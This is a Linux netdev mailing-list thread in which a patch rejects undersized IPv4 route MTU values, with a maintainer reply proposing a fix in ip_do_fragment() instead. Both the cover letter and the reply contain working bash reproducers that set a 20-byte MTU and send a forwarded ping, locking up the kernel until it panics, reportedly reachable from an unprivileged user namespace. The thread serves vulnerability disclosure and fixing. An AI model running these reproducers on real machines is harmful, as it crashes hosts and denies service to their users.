All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH net 0/1] ipv4: fix a non-progressing fragmentation loop from undersized RTAX_MTU
@ 2026-08-08  8:01 Ren Wei
  2026-08-08  8:01 ` [PATCH net 1/1] ipv4: reject RTAX_MTU values below IPV4_MIN_MTU Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-08-08  8:01 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, vega,
	edragain, weir

From: Yong Wang <edragain@163.com>

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv4/metrics.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ip_metrics_convert() accepts arbitrarily small non-zero RTAX_MTU
values from userspace. A route installed with "mtu lock 20" therefore
stores an MTU that is below the IPv4 minimum MTU.

This route metric is later used on the IPv4 forwarding fragmentation
path. ip_skb_dst_mtu() returns the route MTU, and ip_do_fragment()
subtracts the IPv4 header length from it. With a normal 20-byte IPv4
header and RTAX_MTU=20, the resulting payload MTU becomes zero.

ip_frag_next() clamps the fragment length to state->mtu and then aligns
it down to an 8-byte boundary. When state->mtu is zero, the fragment
length remains zero, so state->left, state->offset and state->ptr never
advance. ip_do_fragment() therefore keeps allocating and transmitting
header-only fragments in a non-progressing loop until the softlockup
detector fires.

The bug is reachable through the IPv4 route netlink interface. A user
with CAP_NET_ADMIN in a user-created network namespace can install the
undersized locked MTU route and then inject or forward a non-DF IPv4
packet through it to trigger the loop.

Reproducer:

Run inside the guest as root:

    bash poc.sh root

The PoC sets up forwarding through dummy0 with a locked MTU of 20 and
injects one forwarded non-DF ping from a child netns.

Expected result:

    watchdog: BUG: soft lockup - CPU#... stuck ... [ping:...]

with ip_frag_next() and ip_do_fragment() in the panic stack.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#!/bin/bash
set -euo pipefail

MODE="${1:-root}"

OUT_NET="10.23.45.0/24"
OUT_ADDR="10.23.45.1/24"
OUT_SRC="${OUT_ADDR%/*}"
OUT_DST="10.23.45.2"
IN_ADDR="192.0.2.1/24"
IN_SRC="${IN_ADDR%/*}"
CHILD_ADDR="192.0.2.2/24"
CHILD_SRC="${CHILD_ADDR%/*}"
ROUTE_MTU="${ROUTE_MTU:-20}"
PING_SIZE="${PING_SIZE:-100}"

usage() {
	echo "usage: $0 {root|userns}" >&2
	exit 1
}

setup_forwarder() {
	ip link set lo up
	echo 1 > /proc/sys/net/ipv4/ip_forward

	ip link del veth0 2>/dev/null || true
	ip link add dummy0 type dummy 2>/dev/null || true

	ip link set dummy0 down 2>/dev/null || true
	ip addr flush dev dummy0 2>/dev/null || true

	ip link add veth0 type veth peer name veth1
	ip addr add "$IN_ADDR" dev veth0
	ip link set veth0 up

	ip link set dummy0 up
	ip addr add "$OUT_ADDR" dev dummy0
	ip route replace "$OUT_NET" dev dummy0 proto static scope link \
		src "$OUT_SRC" mtu lock "$ROUTE_MTU"
}

trigger_forwarded_ping() {
	unshare -n -- bash -c 'sleep 1000' &
	child=$!
	sleep 0.2

	ip link set veth1 netns "$child"
	nsenter -t "$child" -n ip link set lo up
	nsenter -t "$child" -n ip addr add "$CHILD_ADDR" dev veth1
	nsenter -t "$child" -n ip link set veth1 up
	nsenter -t "$child" -n ip route add default via "$IN_SRC"

	ip route get "$OUT_DST" from "$CHILD_SRC" iif veth0
	nsenter -t "$child" -n ping -M dont -s "$PING_SIZE" -c 1 -W 1 "$OUT_DST"
}

run_root() {
	sysctl -w kernel.panic_on_warn=0 \
		kernel.softlockup_panic=1 \
		kernel.watchdog_thresh=1 >/dev/null
	setup_forwarder
	trigger_forwarded_ping
}

run_inner_userns() {
	setup_forwarder
	trigger_forwarded_ping
}

run_userns() {
	exec unshare -Urn -- bash "$0" _inner_userns
}

case "$MODE" in
root)
	run_root
	;;
userns)
	run_userns
	;;
_inner_userns)
	run_inner_userns
	;;
*)
	usage
	;;
esac

------END poc.c--------

----BEGIN crash log----

[   49.620188] watchdog: BUG: soft lockup - CPU#2 stuck for 4s! [ping:892]
[   49.620193] Modules linked in:
[   49.620197] CPU: 2 UID: 0 PID: 892 Comm: ping Not tainted 6.12.95 #1
[   49.620200] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   49.620202] RIP: 0010:unwind_next_frame+0x71/0x830
[   49.620233] Code: 58 80 7b 41 01 48 83 df 00 48 85 ff 0f 84 6f 01 00 00 e8 12 fd ff ff 48 89 c5 48 85 c0 0f 84 a7 01 00 00 0f b6 45 05 83 e0 07 <0f> 84 32 01 00 00 3c 01 0f 84 2e 01 00 00 0f b6 45 05 c0 e8 03 83
[   49.620234] RSP: 0018:ffffc9000013c8d8 EFLAGS: 00000202
[   49.620237] RAX: 0000000000000002 RBX: ffffc9000013c918 RCX: ffffffff8244b4ef
[   49.620238] RDX: 0000000000000012 RSI: ffffffff84b91d34 RDI: ffffffff84b91d30
[   49.620239] RBP: ffffffff84fd2f1c R08: ffffffff8244b4fe R09: ffffffff84b91d18
[   49.620241] R10: 0000000000000006 R11: 00000000000144b4 R12: 0000000000000001
[   49.620242] R13: ffffffff8244b4ff R14: ffffc900012b7b88 R15: ffff888103790040
[   49.620245] FS:  00007c32225c1380(0000) GS:ffff88813bd00000(0000) knlGS:0000000000000000
[   49.620247] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   49.620248] CR2: 00007ffc35a21c80 CR3: 0000000105e58005 CR4: 0000000000770ef0
[   49.620251] PKRU: 55555554
[   49.620252] Call Trace:
[   49.620253]  <IRQ>
[   49.620255]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[   49.620260]  arch_stack_walk+0x9a/0x100
[   49.620264]  ? neigh_resolve_output+0x12f/0x1b0
[   49.620269]  stack_trace_save+0x4e/0x70
[   49.620271]  set_track_prepare+0x43/0x80
[   49.620275]  ? dummy_xmit+0x3f/0x70
[   49.620279]  ? dev_hard_start_xmit+0xca/0x1e0
[   49.620282]  ? __dev_queue_xmit+0x7c1/0xe60
[   49.620284]  ? ip_finish_output2+0x268/0x540
[   49.620287]  ? ip_do_fragment+0x229/0x560
[   49.620290]  ? ip_output+0x5d/0xe0
[   49.620292]  ? __netif_receive_skb_one_core+0x89/0xa0
[   49.620294]  ? process_backlog+0x99/0x1b0
[   49.620296]  ? __napi_poll+0x28/0x1b0
[   49.620298]  ? net_rx_action+0x197/0x370
[   49.620300]  ? handle_softirqs+0xe6/0x300
[   49.620303]  ? do_softirq.part.0+0x3b/0x60
[   49.620305]  ? __local_bh_enable_ip+0x4f/0x60
[   49.620307]  ? __neigh_event_send+0xb9/0x390
[   49.620310]  ? neigh_resolve_output+0x12f/0x1b0
[   49.620312]  free_to_partial_list+0x2ae/0x590
[   49.620315]  ? dummy_xmit+0x3f/0x70
[   49.620318]  ? dummy_xmit+0x3f/0x70
[   49.620320]  kmem_cache_free+0x265/0x400
[   49.620322]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620326]  ? skb_release_data+0x166/0x1c0
[   49.620330]  dummy_xmit+0x3f/0x70
[   49.620332]  dev_hard_start_xmit+0xca/0x1e0
[   49.620335]  __dev_queue_xmit+0x7c1/0xe60
[   49.620337]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620340]  ? kmem_cache_alloc_node_noprof+0x17a/0x2b0
[   49.620342]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620345]  ? kmalloc_reserve+0x93/0x100
[   49.620348]  ip_finish_output2+0x268/0x540
[   49.620351]  ip_do_fragment+0x229/0x560
[   49.620354]  ? __pfx_ip_finish_output2+0x10/0x10
[   49.620358]  ip_output+0x5d/0xe0
[   49.620361]  ? __pfx_ip_finish_output+0x10/0x10
[   49.620364]  __netif_receive_skb_one_core+0x89/0xa0
[   49.620366]  process_backlog+0x99/0x1b0
[   49.620369]  __napi_poll+0x28/0x1b0
[   49.620372]  net_rx_action+0x197/0x370
[   49.620377]  handle_softirqs+0xe6/0x300
[   49.620380]  do_softirq.part.0+0x3b/0x60
[   49.620382]  </IRQ>
[   49.620382]  <TASK>
[   49.620383]  __local_bh_enable_ip+0x4f/0x60
[   49.620385]  __neigh_event_send+0xb9/0x390
[   49.620389]  neigh_resolve_output+0x12f/0x1b0
[   49.620391]  ip_finish_output2+0x185/0x540
[   49.620394]  ip_output+0x5d/0xe0
[   49.620396]  ? __pfx_ip_finish_output+0x10/0x10
[   49.620399]  ip_push_pending_frames+0xa5/0xb0
[   49.620402]  raw_sendmsg+0x837/0x1220
[   49.620406]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620408]  ? __alloc_pages_noprof+0x160/0x380
[   49.620411]  ? __mod_memcg_lruvec_state+0xd8/0x1d0
[   49.620418]  ? __sys_sendto+0x1df/0x1f0
[   49.620421]  __sys_sendto+0x1df/0x1f0
[   49.620427]  __x64_sys_sendto+0x24/0x30
[   49.620430]  do_syscall_64+0x58/0x120
[   49.620434]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   49.620437] RIP: 0033:0x7c3222839687
[   49.620440] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[   49.620441] RSP: 002b:00007ffc35a22670 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[   49.620443] RAX: ffffffffffffffda RBX: 00007c32225c1380 RCX: 00007c3222839687
[   49.620444] RDX: 000000000000006c RSI: 000055a98774a364 RDI: 0000000000000003
[   49.620445] RBP: 000055a98774a364 R08: 000055a98775c5d8 R09: 0000000000000010
[   49.620446] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000006c
[   49.620447] R13: 00007ffc35a23db0 R14: 000055a98774a364 R15: 0000001d00000001
[   49.620451]  </TASK>
[   49.620453] Kernel panic - not syncing: softlockup: hung tasks
[   49.651245] CPU: 2 UID: 0 PID: 892 Comm: ping Tainted: G             L     6.12.95 #1
[   49.651777] Tainted: [L]=SOFTLOCKUP
[   49.652014] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   49.652782] Call Trace:
[   49.652961]  <IRQ>
[   49.653107]  panic+0x352/0x3e0
[   49.653322]  watchdog_timer_fn+0x21b/0x260
[   49.653604]  ? __pfx_watchdog_timer_fn+0x10/0x10
[   49.653940]  __hrtimer_run_queues+0x11b/0x280
[   49.654242]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.654568]  hrtimer_interrupt+0xfa/0x230
[   49.654864]  __sysvec_apic_timer_interrupt+0x5a/0xf0
[   49.655200]  sysvec_apic_timer_interrupt+0x38/0x90
[   49.655529]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[   49.655894] RIP: 0010:unwind_next_frame+0x71/0x830
[   49.656218] Code: 58 80 7b 41 01 48 83 df 00 48 85 ff 0f 84 6f 01 00 00 e8 12 fd ff ff 48 89 c5 48 85 c0 0f 84 a7 01 00 00 0f b6 45 05 83 e0 07 <0f> 84 32 01 00 00 3c 01 0f 84 2e 01 00 00 0f b6 45 05 c0 e8 03 83
[   49.657450] RSP: 0018:ffffc9000013c8d8 EFLAGS: 00000202
[   49.657821] RAX: 0000000000000002 RBX: ffffc9000013c918 RCX: ffffffff8244b4ef
[   49.658303] RDX: 0000000000000012 RSI: ffffffff84b91d34 RDI: ffffffff84b91d30
[   49.658790] RBP: ffffffff84fd2f1c R08: ffffffff8244b4fe R09: ffffffff84b91d18
[   49.659276] R10: 0000000000000006 R11: 00000000000144b4 R12: 0000000000000001
[   49.659764] R13: ffffffff8244b4ff R14: ffffc900012b7b88 R15: ffff888103790040
[   49.660242]  ? neigh_resolve_output+0x12f/0x1b0
[   49.660554]  ? neigh_resolve_output+0x12e/0x1b0
[   49.660870]  ? neigh_resolve_output+0x11f/0x1b0
[   49.661178]  ? unwind_next_frame+0x5e/0x830
[   49.661463]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[   49.661829]  arch_stack_walk+0x9a/0x100
[   49.662116]  ? neigh_resolve_output+0x12f/0x1b0
[   49.662435]  stack_trace_save+0x4e/0x70
[   49.662699]  set_track_prepare+0x43/0x80
[   49.662996]  ? dummy_xmit+0x3f/0x70
[   49.663236]  ? dev_hard_start_xmit+0xca/0x1e0
[   49.663572]  ? __dev_queue_xmit+0x7c1/0xe60
[   49.663877]  ? ip_finish_output2+0x268/0x540
[   49.664168]  ? ip_do_fragment+0x229/0x560
[   49.664444]  ? ip_output+0x5d/0xe0
[   49.664681]  ? __netif_receive_skb_one_core+0x89/0xa0
[   49.665036]  ? process_backlog+0x99/0x1b0
[   49.665310]  ? __napi_poll+0x28/0x1b0
[   49.665560]  ? net_rx_action+0x197/0x370
[   49.665838]  ? handle_softirqs+0xe6/0x300
[   49.666122]  ? do_softirq.part.0+0x3b/0x60
[   49.666398]  ? __local_bh_enable_ip+0x4f/0x60
[   49.666695]  ? __neigh_event_send+0xb9/0x390
[   49.667002]  ? neigh_resolve_output+0x12f/0x1b0
[   49.667312]  free_to_partial_list+0x2ae/0x590
[   49.667610]  ? dummy_xmit+0x3f/0x70
[   49.667868]  ? dummy_xmit+0x3f/0x70
[   49.668113]  kmem_cache_free+0x265/0x400
[   49.668380]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.668710]  ? skb_release_data+0x166/0x1c0
[   49.669007]  dummy_xmit+0x3f/0x70
[   49.669242]  dev_hard_start_xmit+0xca/0x1e0
[   49.669535]  __dev_queue_xmit+0x7c1/0xe60
[   49.669829]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.670166]  ? kmem_cache_alloc_node_noprof+0x17a/0x2b0
[   49.670519]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.670864]  ? kmalloc_reserve+0x93/0x100
[   49.671140]  ip_finish_output2+0x268/0x540
[   49.671422]  ip_do_fragment+0x229/0x560
[   49.671686]  ? __pfx_ip_finish_output2+0x10/0x10
[   49.672012]  ip_output+0x5d/0xe0
[   49.672238]  ? __pfx_ip_finish_output+0x10/0x10
[   49.672543]  __netif_receive_skb_one_core+0x89/0xa0
[   49.672888]  process_backlog+0x99/0x1b0
[   49.673155]  __napi_poll+0x28/0x1b0
[   49.673395]  net_rx_action+0x197/0x370
[   49.673660]  handle_softirqs+0xe6/0x300
[   49.673938]  do_softirq.part.0+0x3b/0x60
[   49.674208]  </IRQ>
[   49.674361]  <TASK>
[   49.674512]  __local_bh_enable_ip+0x4f/0x60
[   49.674809]  __neigh_event_send+0xb9/0x390
[   49.675096]  neigh_resolve_output+0x12f/0x1b0
[   49.675392]  ip_finish_output2+0x185/0x540
[   49.675672]  ip_output+0x5d/0xe0
[   49.675908]  ? __pfx_ip_finish_output+0x10/0x10
[   49.676219]  ip_push_pending_frames+0xa5/0xb0
[   49.676515]  raw_sendmsg+0x837/0x1220
[   49.676781]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.677108]  ? __alloc_pages_noprof+0x160/0x380
[   49.677421]  ? __mod_memcg_lruvec_state+0xd8/0x1d0
[   49.677758]  ? __sys_sendto+0x1df/0x1f0
[   49.678031]  __sys_sendto+0x1df/0x1f0
[   49.678290]  __x64_sys_sendto+0x24/0x30
[   49.678556]  do_syscall_64+0x58/0x120
[   49.678819]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   49.679164] RIP: 0033:0x7c3222839687
[   49.679410] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[   49.680660] RSP: 002b:00007ffc35a22670 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[   49.681187] RAX: ffffffffffffffda RBX: 00007c32225c1380 RCX: 00007c3222839687
[   49.681663] RDX: 000000000000006c RSI: 000055a98774a364 RDI: 0000000000000003
[   49.682158] RBP: 000055a98774a364 R08: 000055a98775c5d8 R09: 0000000000000010
[   49.682640] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000006c
[   49.683157] R13: 00007ffc35a23db0 R14: 000055a98774a364 R15: 0000001d00000001
[   49.683641]  </TASK>
[   49.684119] Kernel Offset: disabled

-----END crash log-----

Best regards,
Yong Wang


Yong Wang (1):
  ipv4: reject RTAX_MTU values below IPV4_MIN_MTU

 net/ipv4/metrics.c | 6 ++++++
 1 file changed, 6 insertions(+)

-- 
2.53.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] ipv4: reject RTAX_MTU values below IPV4_MIN_MTU
  2026-08-08  8:01 [PATCH net 0/1] ipv4: fix a non-progressing fragmentation loop from undersized RTAX_MTU Ren Wei
@ 2026-08-08  8:01 ` Ren Wei
  2026-08-12 12:08   ` Ido Schimmel
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-08-08  8:01 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, vega,
	edragain, weir

From: Yong Wang <edragain@163.com>

ip_metrics_convert() caps RTAX_MTU at the IPv4 maximum, but it still
accepts undersized non-zero values from userspace.

A route installed with "mtu lock 20" can later reach the IPv4
forwarding fragmentation path. With a normal 20-byte IPv4 header,
ip_do_fragment() reduces the payload MTU to zero. ip_frag_next() then
keeps producing zero-length payload fragments, so the fragmentation
state never makes forward progress and the kernel loops until the
softlockup detector fires.

Reject non-zero RTAX_MTU values smaller than IPV4_MIN_MTU while keeping
the existing "0 means use default MTU" behavior intact.

This fixes the bug at the route metric input point and avoids adding
redundant checks in the fragmentation path.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Yong Wang <edragain@163.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/ipv4/metrics.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/net/ipv4/metrics.c b/net/ipv4/metrics.c
index ad40762a8b38..10575c6af908 100644
--- a/net/ipv4/metrics.c
+++ b/net/ipv4/metrics.c
@@ -44,6 +44,12 @@ static int ip_metrics_convert(struct nlattr *fc_mx,
 			}
 			val = nla_get_u32(nla);
 		}
+		if (type == RTAX_MTU && val && val < IPV4_MIN_MTU) {
+			NL_SET_ERR_MSG_ATTR_FMT(extack, nla,
+						"Invalid mtu, must be 0 or >= %u",
+						IPV4_MIN_MTU);
+			return -EINVAL;
+		}
 		if (type == RTAX_ADVMSS && val > 65535 - 40)
 			val = 65535 - 40;
 		if (type == RTAX_MTU && val > 65535 - 15)
-- 
2.53.0

^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net 1/1] ipv4: reject RTAX_MTU values below IPV4_MIN_MTU
  2026-08-08  8:01 ` [PATCH net 1/1] ipv4: reject RTAX_MTU values below IPV4_MIN_MTU Ren Wei
@ 2026-08-12 12:08   ` Ido Schimmel
  0 siblings, 0 replies; 3+ messages in thread
From: Ido Schimmel @ 2026-08-12 12:08 UTC (permalink / raw)
  To: Ren Wei
  Cc: netdev, dsahern, davem, edumazet, kuba, pabeni, horms, vega,
	edragain

On Sat, Aug 08, 2026 at 04:01:15PM +0800, Ren Wei wrote:
> From: Yong Wang <edragain@163.com>
> 
> ip_metrics_convert() caps RTAX_MTU at the IPv4 maximum, but it still
> accepts undersized non-zero values from userspace.
> 
> A route installed with "mtu lock 20" can later reach the IPv4
> forwarding fragmentation path. With a normal 20-byte IPv4 header,
> ip_do_fragment() reduces the payload MTU to zero. ip_frag_next() then
> keeps producing zero-length payload fragments, so the fragmentation
> state never makes forward progress and the kernel loops until the
> softlockup detector fires.
> 
> Reject non-zero RTAX_MTU values smaller than IPV4_MIN_MTU while keeping
> the existing "0 means use default MTU" behavior intact.
> 
> This fixes the bug at the route metric input point and avoids adding
> redundant checks in the fragmentation path.

Sashiko is correct that this is also reproducible without setting an MTU
lock. See [1].

Better to fix it in ip_do_fragment(), in a similar fashion to IPv6.
Something like [2].

Sashiko review:

https://netdev-ai.bots.linux.dev/sashiko/#/patchset/ccd14fb1411b8b9c466065582e43f6a6c0743842.1786094799.git.edragain%40163.com

And please note:

"Patch authors are expected to proactively look into the AI-generated
reviews and handle such feedback as any other kind of review: either
debate it or address it. In both cases a reply on the mailing list is
expected."

https://docs.kernel.org/next/process/maintainer-netdev.html#review-timelines

[1]
#!/bin/bash

sysctl -w net.ipv4.ip_forward=1

ip link add name dummy1 up mtu 20 type dummy
ip address add 192.0.2.1/24 dev dummy1

ip link add veth0 type veth peer name veth1
ip addr add 198.51.100.1/24 dev veth0
ip link set veth0 up

ip netns add ns1
ip link set veth1 netns ns1
ip -n ns1 address add 198.51.100.2/24 dev veth1
ip -n ns1 link set veth1 up
ip -n ns1 route add default via 198.51.100.1
ip netns exec ns1 ping -M dont -s 1000 -c 1 192.0.2.2

[2]
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index e6dd1e5b8c32..e6bbae103e4f 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -790,6 +790,12 @@ int ip_do_fragment(struct net *net, struct sock *sk, struct sk_buff *skb,
 	 */
 
 	hlen = iph->ihl * 4;
+
+	if (mtu < hlen + 8) {
+		err = -EMSGSIZE;
+		goto fail;
+	}
+
 	mtu = mtu - hlen;	/* Size of data space */
 	IPCB(skb)->flags |= IPSKB_FRAG_COMPLETE;
 	ll_rs = LL_RESERVED_SPACE(rt->dst.dev);

^ permalink raw reply related	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-08-12 12:08 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-08  8:01 [PATCH net 0/1] ipv4: fix a non-progressing fragmentation loop from undersized RTAX_MTU Ren Wei
2026-08-08  8:01 ` [PATCH net 1/1] ipv4: reject RTAX_MTU values below IPV4_MIN_MTU Ren Wei
2026-08-12 12:08   ` Ido Schimmel

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.